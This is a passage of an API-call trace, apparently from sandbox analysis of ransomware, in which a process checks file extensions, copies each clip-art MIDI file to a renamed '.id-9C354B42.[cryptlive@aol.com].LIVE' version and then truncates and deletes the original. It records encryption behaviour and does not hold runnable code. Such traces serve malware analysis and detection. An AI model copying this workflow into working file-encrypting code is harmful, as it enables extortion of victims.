returned -1 [0134.751] lstrlenW (lpString=".docx") returned 5 [0134.751] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0134.751] lstrlenW (lpString=".pdf") returned 4 [0134.751] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.751] lstrlenW (lpString=".xls") returned 4 [0134.751] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.751] lstrlenW (lpString=".xlsx") returned 5 [0134.751] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0134.751] lstrlenW (lpString=".ppt") returned 4 [0134.751] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString=".zip") returned 4 [0134.751] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.751] lstrlenW (lpString=".rar") returned 4 [0134.751] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.751] lstrlenW (lpString=".bz2") returned 4 [0134.751] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.751] lstrlenW (lpString=".7z") returned 3 [0134.751] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString=".dbf") returned 4 [0134.751] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString=".1cd") returned 4 [0134.751] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString=".jpg") returned 4 [0134.751] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.751] lstrlenW (lpString=".doc") returned 4 [0134.751] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.752] lstrlenW (lpString=".docx") returned 5 [0134.752] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0134.752] lstrlenW (lpString=".pdf") returned 4 [0134.752] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.752] lstrlenW (lpString=".xls") returned 4 [0134.752] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.752] lstrlenW (lpString=".xlsx") returned 5 [0134.752] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0134.752] lstrlenW (lpString=".ppt") returned 4 [0134.752] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.752] lstrlenW (lpString=".zip") returned 4 [0134.752] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.752] lstrlenW (lpString=".rar") returned 4 [0134.752] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.752] lstrlenW (lpString=".bz2") returned 4 [0134.752] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.752] lstrlenW (lpString=".7z") returned 3 [0134.752] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.752] lstrlenW (lpString=".dbf") returned 4 [0134.752] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.752] lstrlenW (lpString=".1cd") returned 4 [0134.752] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0134.752] lstrlenW (lpString=".jpg") returned 4 [0134.752] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.752] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.752] lstrlenW (lpString="PARNT_05.MID") returned 12 [0134.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.753] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=6020) returned 1 [0134.754] CloseHandle (hObject=0x1ec) returned 1 [0134.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0134.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.755] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.755] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.755] GetLastError () returned 0x0 [0134.755] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1784, lpOverlapped=0x0) returned 1 [0134.757] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0134.758] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.758] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.758] SetEndOfFile (hFile=0x38c) returned 1 [0134.758] CloseHandle (hObject=0x38c) returned 1 [0134.758] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.758] SetEndOfFile (hFile=0x1ec) returned 1 [0134.761] CloseHandle (hObject=0x1ec) returned 1 [0134.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.762] lstrlenW (lpString=".doc") returned 4 [0134.762] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.762] lstrlenW (lpString=".docx") returned 5 [0134.762] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0134.762] lstrlenW (lpString=".pdf") returned 4 [0134.762] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.762] lstrlenW (lpString=".xls") returned 4 [0134.762] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.762] lstrlenW (lpString=".xlsx") returned 5 [0134.762] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0134.762] lstrlenW (lpString=".ppt") returned 4 [0134.762] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.762] lstrlenW (lpString=".zip") returned 4 [0134.762] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.762] lstrlenW (lpString=".rar") returned 4 [0134.762] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.763] lstrlenW (lpString=".bz2") returned 4 [0134.763] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.763] lstrlenW (lpString=".7z") returned 3 [0134.763] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.763] lstrlenW (lpString=".dbf") returned 4 [0134.763] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.763] lstrlenW (lpString=".1cd") returned 4 [0134.763] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.763] lstrlenW (lpString=".jpg") returned 4 [0134.763] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.763] lstrlenW (lpString=".doc") returned 4 [0134.763] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0134.763] lstrlenW (lpString=".docx") returned 5 [0134.763] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0134.763] lstrlenW (lpString=".pdf") returned 4 [0134.763] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0134.763] lstrlenW (lpString=".xls") returned 4 [0134.763] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0134.763] lstrlenW (lpString=".xlsx") returned 5 [0134.763] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0134.763] lstrlenW (lpString=".ppt") returned 4 [0134.763] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0134.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.763] lstrlenW (lpString=".zip") returned 4 [0134.763] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0134.763] lstrlenW (lpString=".rar") returned 4 [0134.763] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0134.763] lstrlenW (lpString=".bz2") returned 4 [0134.763] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0134.763] lstrlenW (lpString=".7z") returned 3 [0134.764] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0134.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.764] lstrlenW (lpString=".dbf") returned 4 [0134.764] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0134.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.764] lstrlenW (lpString=".1cd") returned 4 [0134.764] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0134.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0134.764] lstrlenW (lpString=".jpg") returned 4 [0134.764] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0134.764] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0134.764] lstrlenW (lpString="PARNT_06.MID") returned 12 [0134.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.765] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=7768) returned 1 [0134.765] CloseHandle (hObject=0x1ec) returned 1 [0134.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0134.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0134.765] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.765] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0134.766] GetLastError () returned 0x0 [0134.766] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1e58, lpOverlapped=0x0) returned 1 [0135.066] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0135.067] ReadFile (in: hFile=0x1ec, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.067] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.067] SetEndOfFile (hFile=0x38c) returned 1 [0135.067] CloseHandle (hObject=0x38c) returned 1 [0135.067] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.067] SetEndOfFile (hFile=0x1ec) returned 1 [0135.070] CloseHandle (hObject=0x1ec) returned 1 [0135.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0135.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.071] lstrlenW (lpString=".doc") returned 4 [0135.071] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.071] lstrlenW (lpString=".docx") returned 5 [0135.071] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0135.071] lstrlenW (lpString=".pdf") returned 4 [0135.071] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.071] lstrlenW (lpString=".xls") returned 4 [0135.072] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.072] lstrlenW (lpString=".xlsx") returned 5 [0135.072] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0135.072] lstrlenW (lpString=".ppt") returned 4 [0135.072] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.072] lstrlenW (lpString=".zip") returned 4 [0135.072] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.072] lstrlenW (lpString=".rar") returned 4 [0135.072] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.072] lstrlenW (lpString=".bz2") returned 4 [0135.072] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.072] lstrlenW (lpString=".7z") returned 3 [0135.072] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.072] lstrlenW (lpString=".dbf") returned 4 [0135.072] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.072] lstrlenW (lpString=".1cd") returned 4 [0135.072] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.072] lstrlenW (lpString=".jpg") returned 4 [0135.072] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.072] lstrlenW (lpString=".doc") returned 4 [0135.072] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.072] lstrlenW (lpString=".docx") returned 5 [0135.072] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0135.072] lstrlenW (lpString=".pdf") returned 4 [0135.072] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.072] lstrlenW (lpString=".xls") returned 4 [0135.072] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.072] lstrlenW (lpString=".xlsx") returned 5 [0135.073] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0135.073] lstrlenW (lpString=".ppt") returned 4 [0135.073] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.073] lstrlenW (lpString=".zip") returned 4 [0135.073] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.073] lstrlenW (lpString=".rar") returned 4 [0135.073] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.073] lstrlenW (lpString=".bz2") returned 4 [0135.073] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.073] lstrlenW (lpString=".7z") returned 3 [0135.073] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.073] lstrlenW (lpString=".dbf") returned 4 [0135.073] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.073] lstrlenW (lpString=".1cd") returned 4 [0135.073] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0135.073] lstrlenW (lpString=".jpg") returned 4 [0135.073] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.073] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0135.073] lstrlenW (lpString="SPACE_01.MID") returned 12 [0135.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0135.171] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=4219) returned 1 [0135.171] CloseHandle (hObject=0x39c) returned 1 [0135.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0135.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0135.275] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.275] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0135.276] GetLastError () returned 0x0 [0135.276] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x107b, lpOverlapped=0x0) returned 1 [0135.289] WriteFile (in: hFile=0x398, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1080, lpOverlapped=0x0) returned 1 [0135.290] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.290] WriteFile (in: hFile=0x398, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0135.290] SetEndOfFile (hFile=0x398) returned 1 [0135.431] CloseHandle (hObject=0x398) returned 1 [0135.463] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.463] SetEndOfFile (hFile=0x1fc) returned 1 [0135.836] CloseHandle (hObject=0x1fc) returned 1 [0135.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0135.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.837] lstrlenW (lpString=".doc") returned 4 [0135.837] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.837] lstrlenW (lpString=".docx") returned 5 [0135.837] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.837] lstrlenW (lpString=".pdf") returned 4 [0135.837] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.838] lstrlenW (lpString=".xls") returned 4 [0135.838] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.838] lstrlenW (lpString=".xlsx") returned 5 [0135.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.838] lstrlenW (lpString=".ppt") returned 4 [0135.838] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.838] lstrlenW (lpString=".zip") returned 4 [0135.838] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.838] lstrlenW (lpString=".rar") returned 4 [0135.838] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.838] lstrlenW 